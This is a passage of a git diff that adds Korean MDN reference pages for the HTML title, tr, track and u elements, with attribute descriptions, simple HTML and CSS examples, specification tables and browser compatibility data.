+ <li>검색 결과는 보통 페이지 제목의 첫 55~60글자만 노출합니다. 이후 텍스트는 보이지 않을 수도 있으므로 글자 수를 제한하세요. 긴 제목을 반드시 사용해야 하는 경우, 중요한 부분을 앞에 배치해서 뒷부분이 없어지더라도 내용을 잃지 않도록 주의하세요.</li>
+ <li>"키워드 뭉치" 스타일의 제목은 피하세요. 제목이 단순한 단어 나열에 불과하다면 검색 알고리즘이 결과에서 순서를 내리곤 합니다.</li>
+ <li>웹 사이트 내에서 제목을 최대한 겹치지 않도록 하세요. 중복, 혹은 유사한 제목은 검색 결과의 정확도를 떨어트리는 요인입니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;title&gt;엄청 흥미로운 내용&lt;/title&gt;
+</pre>
+
+<p>예제 코드를 포함한 문서를 연 브라우저 창이나 탭의 제목이 "엄청 흥미로운 내용"으로 바뀌게 됩니다.</p>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p>페이지의 목적을 설명하는 <code>title</code>을 제공하는 것이 중요합니다.</p>
+
+<p>보조 기술 사용자가 자주 사용하는 탐색 기술 중 하나는 페이지의 제목을 읽고 어떤 내용일지 유추하는 것입니다. 일일히 탐색해가며 콘텐츠를 찾는건 시간도 많이 들 뿐더러 어려운 일이기 때문입니다.</p>
+
+<h3 id="예제_2">예제</h3>
+
+<pre class="brush: html">&lt;title&gt;메뉴 - 블루 하우스 치즈 - FoodYum: 지금 바로 온라인으로 주문하세요!&lt;/title&gt;
+</pre>
+
+<p>사용자를 도와주려면 페이지의 <code>title</code> 값이 중요한 상태의 변화(입력 폼 유효성 문제 등)를 반영하도록 바꾸세요.</p>
+
+<pre class="brush: html">&lt;title&gt;오류 2개 - 주문서 - 블루 하우스 치즈 - FoodYum: 지금 바로 온라인으로 주문하세요!&lt;/title&gt;
+</pre>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-title.html">Understanding Success Criterion 2.4.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.title")}}</p>
diff --git a/files/ko/web/html/element/tr/index.html b/files/ko/web/html/element/tr/index.html
new file mode 100644
index 0000000000..116e664557
--- /dev/null
+++ b/files/ko/web/html/element/tr/index.html
@@ -0,0 +1,217 @@
+---
+title: <tr>
+slug: Web/HTML/Element/tr
+translation_of: Web/HTML/Element/tr
+---
+<h2 id="개요">개요</h2>
+
+<p>The <em>HTML Table Row Element</em> (<code>&lt;tr&gt;</code>) defines a row of cells in a table. Those can be a mix of {{HTMLElement("td")}} and {{HTMLElement("th")}} elements.</p>
+
+<h2 id="사용_문맥">사용 문맥</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content categories">콘텐츠 범주</a></td>
+   <td>None.</td>
+  </tr>
+  <tr>
+   <td>허용되는 콘텐츠</td>
+   <td>Zero or more {{HTMLElement("td")}} or {{HTMLElement("th")}} elements, or a mix of them</td>
+  </tr>
+  <tr>
+   <td>태그 생략</td>
+   <td>The start tag is mandatory. The end tag may be omitted if the {{HTMLElement("tr")}} element is immediately followed by a {{HTMLElement("tr")}} element, or if the parent table group ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}} or {{HTMLElement("tfoot")}}) element doesn't have any more content.</td>
+  </tr>
+  <tr>
+   <td>허용되는 부모 요소</td>
+   <td>A {{HTMLElement("table")}}, {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} or {{HTMLElement("tfoot")}} element.</td>
+  </tr>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/html/#the-tr-element">HTML, "The <code>tr</code> element"</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">This element includes the </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:
+ <ul>
+  <li><code>left</code>, aligning the content to the left of the cells</li>
+  <li><code>center</code>, centering the content in the cells</li>
+  <li><code>right</code>, aligning the content to the right of the cells</li>
+  <li><code>justify</code>, widening the spaces in the textual content so that the content is justified in the cells</li>
+  <li><code>char</code>, aligning the textual content on a special character with a minimal offset, defined by the {{htmlattrxref("char", "tr")}} and {{htmlattrxref("charoff", "tr")}} attributes {{unimplemented_inline("2212")}}.</li>
+ </ul>
+
+ <p>If this attribute is not set, the parent node's value is inherited.</p>
+
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (not supported) in the latest standard.
+
+ <ul>
+  <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code> or <code>justify</code> values, use the CSS {{cssxref("text-align")}} property on it.</li>
+  <li>To achieve the same effect as the <code>char</code> value, in CSS3, you can use the value of the {{htmlattrxref("char", "tr")}} as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This attribute defines the background color of each cell of the row. It can be either an <a href="/en-US/docs/CSS/color_value#HTML.2fSVG.2fX11.c2.a0_Color_Keywords" title="CSS/color value#HTML.2fSVG.2fX11.c2.a0 Color Keywords">#RRGGBB code</a> or an <a href="/#HTML.2fSVG.2fX11.c2.a0_Color_Keywords" title="#HTML.2fSVG.2fX11.c2.a0 Color Keywords">SVG color keyword</a>.
+ <div class="note"><strong>Usage note: </strong>the {{HTMLElement("tr")}} element should be styled using <a href="/en-US/docs/CSS" title="CSS">CSS</a>. To give a similar effect to the <strong>bgcolor</strong> attribute, use the <a href="/en-US/docs/CSS" title="CSS">CSS</a> property {{cssxref("background-color")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "tr")}} is not set to <code>char</code>, this attribute is ignored.
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard. To achieve the same effect as the {{htmlattrxref("char", "tr")}}, in CSS3, you can use the character set using the {{htmlattrxref("char", "tr")}} attribute as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <strong>char</strong> attribute.
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{deprecatedGeneric("inline","html4.01")}}, {{obsoleteGeneric("inline","html5")}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:
+ <ul>
+  <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+  <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+  <li><code>middle</code>, which will center the text in the cell;</li>
+  <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS {{cssxref("vertical-align")}} property on it.</div>
+ </dd>
+</dl>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>This element implements the {{domxref("HTMLTableRowElement")}} interface.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>See {{HTMLElement("table")}} for examples on <code>&lt;tr&gt;</code>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> 속성</td>
+   <td>1.0</td>
+   <td>{{CompatNo}} {{bug("915")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> 속성</td>
+   <td>1.0</td>
+   <td>{{CompatNo}} {{bug("2212")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> 속성 {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> 속성</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} {{bug("915")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> 속성</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} {{bug("2212")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> 속성 {{Non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Other table-related HTML Elements: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}};</li>
+ <li>CSS properties and pseudo-classes that may be specially useful to style the <code>&lt;tr&gt;</code> element:
+  <ul>
+   <li>the {{cssxref(":nth-child")}} pseudo-class to set the alignment on the cells of the column;</li>
+   <li>the {{cssxref("text-align")}} property to align all cells content on the same character, like '.'.&lt;</li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/track/index.html b/files/ko/web/html/element/track/index.html
new file mode 100644
index 0000000000..02726500ed
--- /dev/null
+++ b/files/ko/web/html/element/track/index.html
@@ -0,0 +1,175 @@
+---
+title: '<track>: 텍스트 트랙 삽입 요소'
+slug: Web/HTML/Element/track
+tags:
+  - Accessibility
+  - Element
+  - HTML
+  - HTML embedded content
+  - HTML5
+  - Multimedia
+  - Reference
+  - Web
+  - 자막
+translation_of: Web/HTML/Element/track
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;track&gt;</code> 요소</strong>는 미디어 요소({{HTMLElement("audio")}}, {{HTMLElement("video")}})의 자식으로서, 자막 등 시간별 텍스트 트랙(시간 기반 데이터)를 지정할 때 사용합니다.</span> 트랙은 <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a>(Web Video Text Tracks, <code>.vtt</code> 파일) 또는 <a href="https://w3c.github.io/ttml2/index.html">Timed Text Markup Language(TTML)</a>형식을 사용해야 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/track.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>미디어 요소. 다른 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a> 자식보다 앞에 위치해야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTrackElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("default")}}</dt>
+ <dd>사용자 설정이 다른 자막을 가리키지 않는다면 활성화할 기본 트랙을 나타냅니다. 하나의 미디어 요소 당 하나의 <code>&lt;track&gt;</code> 요소에만 사용할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("kind")}}</dt>
+ <dd>텍스트 트랙의 종류. 생략할 경우 <code>subtitles</code>로 간주합니다. 유효하지 않은 값을 가진 경우 <code>metadata</code>로 간주합니다. (Chrome 52 미만에서는 <code>subtitles</code>) 가능한 키워드는 다음과 같습니다.
+ <ul>
+  <li><code>subtitles</code>
+   <ul>
+    <li>자막은 시청자가 이해할 수 없는 언어에 대한 번역을 제공합니다. 예를 들면, 비영어권 시청자에게 영어 영상을 보여줄 때 제공할 대화문이나 텍스트 등입니다.</li>
+    <li>자막은 배경 설명과 같은 추가 콘텐츠를 포함할 수 있습니다. 예를 들면, 스타워즈 영화 오프닝 텍스트, 혹은 현재 장면의 날짜와 시간, 장소 등입니다.</li>
+   </ul>
+  </li>
+  <li><code>captions</code>
+   <ul>
+    <li>폐쇄자막은 오디오 트랜스크립션을 제공하며, 번역도 포함할 수 있습니다.</li>
+    <li>음악 신호, 소리 효과와 같은 비언어적 소리 효과도 나타낼 수 있습니다. 효과의 원인(음악, 글자, 등장인물...)도 설명할 수 있습니다.</li>
+    <li>음소거로 시청하는 경우와 청각 장애를 가진 시청자에게 적합합니다.</li>
+   </ul>
+  </li>
+  <li><code>descriptions</code>
+   <ul>
+    <li>비디오 콘텐츠의 텍스트 설명입니다.</li>
+    <li>비디오를 볼 수 없는 환경과 시각 장애를 가진 시청자에게 적합합니다.</li>
+   </ul>
+  </li>
+  <li><code>chapters</code>
+   <ul>
+    <li>챕터 타이틀은 미디어 리소스를 탐색할 때 사용합니다.</li>
+   </ul>
+  </li>
+  <li><code>metadata</code>
+   <ul>
+    <li>트랙을 스크립트가 사용합니다. 사용자에게 보이지 않습니다.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>사용자가 읽을 수 있는 형태의 텍스트 트랙 제목. 브라우저에서 사용 가능한 트랙의 이름 목록을 생성할 때 사용합니다.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>자막의 주소(<code>.vtt</code> 파일). 유효한 {{glossary("URL")}}이어야 합니다. 필수 특성이며, <code>&lt;track&gt;</code>의 부모 {{htmlelement("audio")}}/{{htmlelement("video")}} 요소에 <code><a href="/ko/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> 특성이 없다면 문서와 같은 {{glossary("origin", "출처")}}여야 합니다.</dd>
+ <dt>{{htmlattrdef("srclang")}}</dt>
+ <dd>텍스트 트랙의 언어. 유효한 <a href="https://ko.wikipedia.org/wiki/IETF_%EC%96%B8%EC%96%B4_%ED%83%9C%EA%B7%B8">IETF 언어 태그</a>여야 합니다. <code>kind</code> 특성이 <code>subtitle</code>인 경우 필수 항목입니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="트랙_데이터_유형">트랙 데이터 유형</h3>
+
+<p><code>&lt;track&gt;</code> 요소가 미디어에 추가하는 데이터의 유형은 <code>kind</code> 특성으로 나타낼 수 있습니다. 사용자가 추가 데이터를 요청하는 경우, 브라우저는 <code>&lt;track&gt;</code> 요소가 가리키는 시간별 텍스트 데이터를 보여줍니다.</p>
+
+<p>미디어 요소는 동일한 <code>kind</code>, <code>srclang</code>, <code>label</code>을 가진 <code>&lt;track&gt;</code>을 하나보다 많이 포함할 수 없습니다.</p>
+
+<div class="hidden">
+<h3 id="Detecting_cue_changes">Detecting cue changes</h3>
+
+<p>{{page("/en-US/docs/Web/API/TextTrack/cuechange_event", "On the track element")}}</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;video controls poster="/images/sample.gif"&gt;
+   &lt;source src="sample.mp4" type="video/mp4"&gt;
+   &lt;source src="sample.ogv" type="video/ogv"&gt;
+   &lt;track kind="captions" src="sampleCaptions.vtt" srclang="en"&gt;
+   &lt;track kind="descriptions"
+     src="sampleDescriptions.vtt" srclang="en"&gt;
+   &lt;track kind="chapters" src="sampleChapters.vtt" srclang="en"&gt;
+   &lt;track kind="subtitles" src="sampleSubtitles_de.vtt" srclang="de"&gt;
+   &lt;track kind="subtitles" src="sampleSubtitles_en.vtt" srclang="en"&gt;
+   &lt;track kind="subtitles" src="sampleSubtitles_ja.vtt" srclang="ja"&gt;
+   &lt;track kind="subtitles" src="sampleSubtitles_oz.vtt" srclang="oz"&gt;
+   &lt;track kind="metadata" src="keyStage1.vtt" srclang="en"
+     label="Key Stage 1"&gt;
+   &lt;track kind="metadata" src="keyStage2.vtt" srclang="en"
+     label="Key Stage 2"&gt;
+   &lt;track kind="metadata" src="keyStage3.vtt" srclang="en"
+     label="Key Stage 3"&gt;
+   &lt;!-- Fallback --&gt;
+   ...
+&lt;/video&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','embedded-content.html#the-track-element','track element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "semantics-embedded-content.html#the-track-element", "track element")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.track")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/WebVTT">WebVTT 텍스트 트랙 형식</a></li>
+ <li>{{domxref("HTMLMediaElement.textTracks")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/u/index.html b/files/ko/web/html/element/u/index.html
new file mode 100644
index 0000000000..79d516a41f
--- /dev/null
+++ b/files/ko/web/html/element/u/index.html
@@ -0,0 +1,206 @@
+---
+title: <u>
+slug: Web/HTML/Element/u
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - 'HTML:Flow content'
+  - 'HTML:Palpable Content'
+  - 'HTML:Phrasing content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/u
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;u&gt;</code> 요소</strong>는 글자로 표현하지 않는 주석을 가진 것으로 렌더링 해야 하는 텍스트를 나타냅니다.</span> 기본값에서는 단순한 밑줄로 표시하지만 CSS를 사용해 바꿀 수 있습니다.</p>
+
+<div class="blockIndicator warning">
+<p><code>&lt;u&gt;</code> 요소는 과거 HTML에서 밑줄(Underline) 요소로 불렸으며 지금도 밑줄을 추가할 목적으로 남용하는 경우가 있습니다. 그러나 밑줄을 위해서는 CSS {{cssxref("text-decoration")}} 속성을 <code>underline</code>으로 지정하는 방법을 대신 사용해야 합니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/u.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>다른 순수 스타일 요소와 마찬가지로, 원래의 HTML 밑줄 요소(<code>&lt;u&gt;</code>)는 HTML 4부터 사용을 중단했으나, HTML 5에서 새로운 의미를 얻으며 돌아왔습니다. HTML 5에서 <code>&lt;u&gt;</code> 요소는 텍스트가 일종의 문자가 아닌 주석을 가지고 있음을 나타냅니다.</p>
+
+<div class="blockIndicator note">
+<p><code>&lt;u&gt;</code>와 하이퍼링크 둘 다 기본 스타일이 밑줄이므로, <code>&lt;u&gt;</code>를 기본 스타일로 사용하는건 피해야 합니다.</p>
+</div>
+
+<h3 id="사용처">사용처</h3>
+
+<p><code>&lt;u&gt;</code> 요소의 유효한 사용처는 철자 오류 강조, <a href="https://en.wikipedia.org/wiki/Proper_name_mark">중국어의 고유명사 표시</a> 등이 있습니다.</p>
+
+<p><code>&lt;u&gt;</code>를 사용해 밑줄만 추가하거나, 책 제목 등을 강조해서는 안됩니다.</p>
+
+<h3 id="고려할만한_다른_요소">고려할만한 다른 요소</h3>
+
+<p>대부분의 경우 <code>&lt;u&gt;</code> 대신 다른 요소를 사용해야 합니다.</p>
+
+<ul>
+ <li>{{htmlelement("em")}} 요소는 강세를 나타냅니다.</li>
+ <li>{{htmlelement("b")}} 요소는 사용자의 주의를 텍스트로 돌립니다.</li>
+ <li>{{htmlelement("mark")}} 요소는 관련성을 나타냅니다.</li>
+ <li>{{htmlelement("strong")}} 요소는 강한 중요성을 나타냅니다.</li>
+ <li>{{htmlelement("cite")}} 요소는 책, 공연, 음악 등 저작물의 이름을 나타냅니다.</li>
+ <li>{{htmlelement("i")}} 요소는 기술 용어, 외국어, 등장인물의 생각 등을 나타냅니다.</li>
+</ul>
+
+<p><code>&lt;u&gt;</code>가 비 텍스트 표기라면, {{htmlelement("ruby")}}는 텍스트 표기를 제공합니다.</p>
+
+<p>별도의 의미 없이 밑줄만 추가하려면 CSS {{cssxref("text-decoration")}} 속성의 값을 <code>underline</code>으로 지정하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="맞춤법_오류_표시">맞춤법 오류 표시</h3>
+
+<p>이번 예제는 <code>&lt;u&gt;</code>와 약간의 CSS를 사용해, 문단에서 철자 오류가 존재하는 부분을 빨간색 물결 밑줄로 표시합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;맞춤법을 틀리면 &lt;u class="spelling"&gt;않돼요&lt;/u&gt;.&lt;/p&gt;</pre>
+
+<p><code>spelling</code> 클래스를 가진 <code>&lt;u&gt;</code> 요소가 "안돼요"의 잘못된 철자를 나타내고 있음을 볼 수 있습니다.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">u.spelling {
+  text-decoration: red wavy underline;
+}</pre>
+
+<p>CSS는 <code>spelling</code> 클래스를 가진 <code>&lt;u&gt;</code> 요소에 빨간 물결 밑줄을 적용하고 있습니다. 빨간 물결 밑줄은 맞춤법 오류를 표시할 때 흔히 쓰이는 스타일입니다. 또 다른 스타일은 <code>red dashed underline</code>입니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>최근 워드 프로세서를 사용해본 경우 친숙한 모습일 것입니다.</p>
+
+<p>{{EmbedLiveSample("맞춤법_오류_표시", 650, 80)}}</p>
+
+<h3 id="&lt;u>_피하기"><code>&lt;u&gt;</code> 피하기</h3>
+
+<p>대부분의 경우, 사실 <code>&lt;u&gt;</code> 요소를 피하는게 좋습니다. 다음은 다른 요소를 사용해야 하는 몇 가지 경우입니다.</p>
+
+<h4 id="의미를_가지지_않는_밑줄">의미를 가지지 않는 밑줄</h4>
+
+<p>아무런 의미를 나타내지 않고 밑줄만 추가할 경우 {{HTMLElement("span")}} 요소를 사용하고, {{cssxref("text-decoration")}} 속성의 값은 <code>underline</code>으로 지정하세요.</p>
+
+<h5 id="HTML_2">HTML</h5>
+
+<pre class="brush: html">&lt;span class="underline"&gt;Today's Special&lt;/span&gt;
+&lt;br&gt;
+Chicken Noodle Soup With Carrots</pre>
+
+<h5 id="CSS_2">CSS</h5>
+
+<pre class="brush: css">.underline {
+  text-decoration: underline;
+}</pre>
+
+<h5 id="Result">Result</h5>
+
+<p>{{EmbedLiveSample("의미를_가지지_않는_밑줄", 650, 80)}}</p>
+
+<h4 id="책_제목_표현하기">책 제목 표현하기</h4>
+
+<div id="example-unstyled-cite">
+<p>책 제목은 <code>&lt;u&gt;</code> 대신 {{htmlelement("cite")}}를 사용해 나타내야 합니다.</p>
+
+<h5 id="HTML_3">HTML</h5>
+
+<pre class="brush: html">&lt;p&gt;The class read &lt;cite&gt;Moby Dick&lt;/cite&gt; in the first term.&lt;/p&gt;</pre>
+
+<h5 id="기본_스타일_결과">기본 스타일 결과</h5>
+
+<p>{{EmbedLiveSample("example-unstyled-cite", 650, 80)}}</p>
+</div>
+
